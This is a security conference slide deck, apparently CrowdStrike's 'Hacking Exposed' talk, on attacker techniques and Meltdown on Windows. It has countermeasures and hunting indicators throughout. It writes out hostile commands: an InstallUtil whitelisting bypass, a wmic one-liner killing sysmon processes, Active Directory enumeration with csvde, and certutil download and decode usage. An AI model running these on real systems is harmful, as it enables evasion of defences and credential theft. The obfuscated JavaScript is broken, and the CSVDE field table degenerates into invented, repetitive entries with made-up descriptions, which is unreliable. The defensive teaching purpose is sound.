SESSION ID: EXP=W04

HACKING EXPOSED: MELTING DOWN MEMORY

George Kurtz
Co-Founder & President/CEO
CrowdStrike Inc.
@George_Kurtz

Dmitri Alperovitch
Co-Founder & CTO
CrowdStrike Inc.
@DAIperovitch

Elia Zaitsev
Director
Solutions Architecture
CrowdStrike Inc.
THE HACKING EXPOSED OSCARS ARE BACK
THE NOMINEES FOR BEST TECHNIQUES ARE...
CATEGORY: CREDENTIAL THEFT

DELIVERY: STRATEGIC WEB COMPROMISE USING SMB
Variations of remote source

- Javascript + Dean Edwards Packer obfuscation

```javascript
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''+c&&d(e)u){return d[3]};e=function()
return'\w';c=1;while(c--)if(k[c])p=p.replace(new RegExp('\b'+k[c]+'\b','g'),k[c])return p('1=6.9(4)^;1.2(5)^3;/////8.d.e.a.3.c.);1.2(b",d,0);1.2("z",0)"16,16,"le
lemissetattribute\"filename\"\"document\"\"source\"\"11createElement\"240\"height\"\"1241\"\"width\"\"split('')",&d)\"
```
REAL WORLD EXAMPLES

- Massive BERSERK BEAR credential harvesting campaign
  - Targeted numerous sectors
    — Chemical – Sept 2017
    — Financial – Sept 2017
    — Hospitality – Sept 2017
    — Oil & Gas – April 2017
    — Technology – April 2017
    — Engineering – April 2017
    — Education – April 2017
Another variation used spear-phishing emails. Word Docs contain code that attempts to retrieve doc template from remote source over WebDAV.
REAL WORLD EXAMPLES

- **Post Harvesting Activity**
  - Offline hash cracking
  - Pass the hash tools
  - Public facing services most vulnerable
    - Webmail
    - VPN
    - Remote conferencing software
COUNTERMEASURES

- Implement Two-Factor Authentication (2FA)
- Restrict or monitor SMB connectivity to remote servers
- Robust password policies (length/duration/reuse)
- Restrict or monitor remote user authentication
- Leverage threat intel to track known SMB C2s
CATEGORY: WHITELISTING BYPASS

DELIVERY: INSTALLUTIL
**TECHNICAL BREAKDOWN**

**InstallUtil**

- CLI tool for install/uninstall of apps
- Part of .NET framework
- MS signed binary inside the Windows directory – handy for bypassing whitelists
- Discovered by @subTee, who also created C# code that can be used in combination to bypass Applocker restriction of PowerShell
   

2. Execute PowerShell binary with InstallUtil
   
   InstallUtil.exe /logfile= /LogToConsole=false /U powershell.exe
REAL WORLD EXAMPLES

- InstalledUtil.exe" /run= /logfile= /LogToConsole=false /u "C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPFWpf-etw.daf"
  - Consistent with QuasarRAT public reporting
    https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
- InstalledUtil.exe" /LogFile= /LogToConsole=false /u C:\Windows\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE\}\HECI.cat -inputFormat xml -outputFormat text
  - Chinese Adversary

https://attack.mitre.org/wiki/Technique/T1118

Execute Shellcode From InstalledUtil.exe == Bypass All the Application Whitelists. And I mean all...
gist.github.com/subTee/408d980...

#DFIR
12:24 PM - 4 Jun 2015
- **In many environments InstallUtil is rarely used**
  - Consider blocking its execution
  - If needed, try to monitor its usage instead and compare arguments against historical usage
    - Weak hunting indicator: FileName=installutil.exe AND CommandLine=*LogToConsole=false /u*
CATEGORY: DEPLOYMENT OF RECON TOOLS

DELIVERY: CERTUTIL + EXPAND + CSVDE
CERTUTIL
- A built-in Windows command-line program that is installed as part of Certificate Services
- Also has the ability to download remote file (-urlcache flag) and decode base64 files (-decode flag)
- Great for downloading malware!

EXPAND
- A built-in Windows command-line program to decompress CAB files

CSVDE
- Windows Server command-line program that is installed as part of AD DS and AD LDS Tools feature
- NOT included with Client OS
- Can be used to enumerate AD environment
## TECHNICAL BREAKDOWN

### Using CSVDE to enumerate Active Directory to disk

```bash
csvde.exe -f out.csv
```

Here is a subset of the data returned. I couldn’t fit it all, over 370 fields!

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>DN</td>
<td>Unique identifier for the object in Active Directory</td>
</tr>
<tr>
<td>objectClass</td>
<td>The class of the object</td>
</tr>
<tr>
<td>distinguishedName</td>
<td>The distinguished name of the object</td>
</tr>
<tr>
<td>instanceType</td>
<td>The instance type of the object</td>
</tr>
<tr>
<td>whenCreated</td>
<td>The timestamp when the object was created</td>
</tr>
<tr>
<td>whenChanged</td>
<td>The timestamp when the object was last changed</td>
</tr>
<tr>
<td>cn</td>
<td>The common name of the object</td>
</tr>
<tr>
<td>cnValue</td>
<td>The value of the common name</td>
</tr>
<tr>
<td>objectSid</td>
<td>The object identifier of the object</td>
</tr>
<tr>
<td>objectGuid</td>
<td>The GUID of the object</td>
</tr>
<tr>
<td>objectCategory</td>
<td>The category of the object</td>
</tr>
<tr>
<td>inCriticalSystemObject</td>
<td>Indicates whether the object is critical to the system</td>
</tr>
<tr>
<td>lockoutDuration</td>
<td>The lockout duration of the object</td>
</tr>
<tr>
<td>lockoutObservationWindow</td>
<td>The lockout observation window of the object</td>
</tr>
<tr>
<td>lockoutThreshold</td>
<td>The lockout threshold of the object</td>
</tr>
<tr>
<td>context</td>
<td>The context of the object</td>
</tr>
<tr>
<td>contextPath</td>
<td>The path of the context</td>
</tr>
<tr>
<td>domainController</td>
<td>The domain controller of the object</td>
</tr>
<tr>
<td>name</td>
<td>The name of the object</td>
</tr>
<tr>
<td>rIDMManagerReference</td>
<td>The reference of the RIM Manager</td>
</tr>
<tr>
<td>rDSDirectory</td>
<td>The directory of the object</td>
</tr>
<tr>
<td>rDNSHost</td>
<td>The host of the RIM DNS</td>
</tr>
<tr>
<td>rIDSetReferences</td>
<td>The references of the object</td>
</tr>
<tr>
<td>rIDSetName</td>
<td>The name of the RIM set</td>
</tr>
<tr>
<td>rIDSetDescription</td>
<td>The description of the RIM set</td>
</tr>
<tr>
<td>rIDSetProjects</td>
<td>The projects of the RIM set</td>
</tr>
<tr>
<td>rIDSetServices</td>
<td>The services of the RIM set</td>
</tr>
<tr>
<td>rIDSetAccessRights</td>
<td>The access rights of the RIM set</td>
</tr>
<tr>
<td>rIDSetGroup</td>
<td>The group of the RIM set</td>
</tr>
<tr>
<td>rIDSetCategory</td>
<td>The category of the RIM set</td>
</tr>
<tr>
<td>rIDSetGuid</td>
<td>The GUID of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtends</td>
<td>The extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsGuid</td>
<td>The GUID of the extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsCategory</td>
<td>The category of the extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsExtends</td>
<td>The extends of the extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsExtendsGuid</td>
<td>The GUID of the extends of the extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsExtendsCategory</td>
<td>The category of the extends of the extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsExtendsExtends</td>
<td>The extends of the extends of the extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsExtendsExtendsGuid</td>
<td>The GUID of the extends of the extends of the extends of the RIM set</td>
</tr>
<tr>
<td>rIDSetExtendsExtendsExtendsCategory</td>
<td>The category of the extends of the extends of the extends of the RIM set</td>
</tr>
</tbody>
</table>
DEMO
REAL WORLD EXAMPLES

- **Seen in Aug and Nov 2017**
  - `certutil.exe -decode KB[REDACTED].log KB[REDACTED].log`
  - `expand KB[REDACTED].log csvde.exe`
- **Chinese Adversary**
- **Seen in Feb 2018**
  - C:\Users\[REDACTED]\AppData\Local\Temp\8\index.zip
COUNTERMEASURES

- **Certutil is rarely used with the aforementioned command line args**
  - Consider blocking its execution
  - If needed, try to monitor its usage instead and compare arguments against historical usage
    - Weak hunting indicator: FileName=certutil.exe AND CommandLine=*-urlcache –split –f*
    - Weak hunting indicator: FileName=certutil.exe AND CommandLine=*-decode*

- **CSVDE is not found on client version of Windows, can be blocked or monitored for hunting indicator on non Server systems**
  - Weak hunting indicator: FileName=csvde.exe AND Type!==Server
CATEGORY: EVASION

DELIVERY: TASKLIST + FINDSTR + WMIC
**TECHNICAL BREAKDOWN**

### TASKLIST + FINDSTR

- Tasklist piped into Findstr to search for security software
  - `tasklist | findstr /i "sysmon"`
- Process ID’s are returned

### WMIC

- Process ID’s are fed to WMIC for termination
  - Wmic process [pid] delete
- Alternatively, can be done as a one-liner with WMIC
  - `wmic process where "name like '%sysmon%' OR name like '%Whatever%'' delete`
REAL WORLD EXAMPLES

- Seen in Aug 2017
  - tasklist | findstr /i “[Redacted list of endpoint agent executables]”
  - Chinese Adversary

- Financial Services Firm – Jan 2018

- Technology And Engineering – Jul 2017

- Insurance – Feb 2018

- Hospitality – Mar 2018
COUNTERMEASURES

- Use endpoint software that isn’t easily disabled
- WMIC filters to monitor WMIC usage
- Weak hunting indicator: FileName=(cmd.exe or powershell.exe) AND CommandLine=*tasklist | findstr*
- Weak hunting indicator: FileName=wmic.exe AND CommandLine=*process* AND CommandLine=*delete*
AND THE WINNER IS...
NONE OF THEM!
IT’S OBVIOUSLY MELTDOWN!

MELTDOWN
Meltdown is a speculative execution side-channel bug in (almost) all Intel processors, which also affects certain ARM processors as well.

- Allows an unprivileged user-mode process to **read** kernel (privileged) memory with varying success and performance:
  - Faster and more reliably if the data is cached
  - Slower and with more errors (requiring re-reading) if the data is uncached

- Depending on what privileged data is stored in kernel, this can lead to dangerous revelations about secret keys, structures, passwords, etc.

- For example, by default, Linux stores all RAM mapped in kernel memory:
  - Any process’ memory can thus be read from any other process
I can finally efficiently (fast) and reliably (no errors) read paged pool/non-L1 data. Time for MeltiKatz/MimiDown. I’ll sit on this a few weeks before setting the world on fire and watching it burn. Or probably someone will do it first 😂
TECHNICAL BREAKDOWN

- **Meltdown** is still not fixed in any current generation Intel hardware
  - Operating system vendors must provide mitigations to reduce/prevent data leakage through the vulnerability

- The most commonly deployed mitigation is to unmap (most of) kernel mode memory while user-mode is active
  - Remapping it back when user-mode code performs a system call, the CPU issues a trap, or a device triggers an interrupt, and unmapping it before resuming back to user
  - Linux **KPTI**, macOS **Double Map**, Windows **KVA Shadow**

- This leaves any data/code in the kernel that’s used for system calls, interrupts, and traps, still exposed to Meltdown

- But Windows does things a little differently...
Due to 3rd party compatibility reasons, historical reasons, micro-architectural design issues, and security boundary decisions, Windows does not enforce reading of the kernel address space as a boundary against privileged user-mode code.

- Privileged user mode code can crash the kernel after all
  - Which will generate a crash dump – containing all kernel-mode memory 😊

- Therefore, Microsoft rightly believes that the performance costs of mitigating against Meltdown far outweigh the security benefits of mitigating against something a privileged application can already achieve through other means
  - As such, the KVA Shadow mitigation is disabled for processes running with the full Administrator Token at High Integrity

- On a patched Windows machine, Meltdown can still be used from an Admin app
INTERESTING ATTACKER TARGETS

- Windows doesn’t map all process memory/RAM in kernel mode memory, so the Linux use cases don’t apply to it

- However, there are still key privacy-sensitive blobs of data that may impact user security
  - The registry is mapped in kernel memory until this month’s Windows 10 Spring Creator Update (Redstone 4 / 1804)
  - The file system cache working set is mapped in kernel memory

- This means that recently accessed files (or files nearby such files) as well as recently accessed registry data (until Windows 10 1804) will be present in kernel memory

- The registry contains NTLM Password Hashes, Encrypted Cached Passwords
  - The file system cache contains NTDS.DIT (Active Directory Database)
- On a patched system, as long as we are running as an Administrator, we can replicate this attack 100% on pre-Win10 1804 (Spring Creator Update) systems
  - In fact, it can be made even easier through some additional information leaks
- Administrator can already
  - Elevate to SYSTEM
  - Inject in LSASS
  - Raw-read the disk
DEMO
NEW COMMUNITY TOOL

http://www.crowdstrike.com/resources/community-tools/
THANK YOU!

- **HOW TO REACH US:**
  - TWITTER: @GEORGE_KURTZ, @DALPEROVITCH & @AIONESCU

- **FOR MORE INFORMATION & TO DOWNLOAD SLIDES:**
  - BLOG.CROWDSTRIKE.COM

- **LEARN MORE ABOUT NEXT-GENERATION ENDPOINT PROTECTION**
  - LEARN ABOUT CROWDSTRIKE FALCON: WWW.CROWDSTRIKE.COM/PRODUCTS
  - REQUEST A DEMO: WWW.CROWDSTRIKE.COM/REQUEST-A-DEMO/

- **COME MEET US:**
  - BOOTH 941 SOUTH HALL
THANK YOU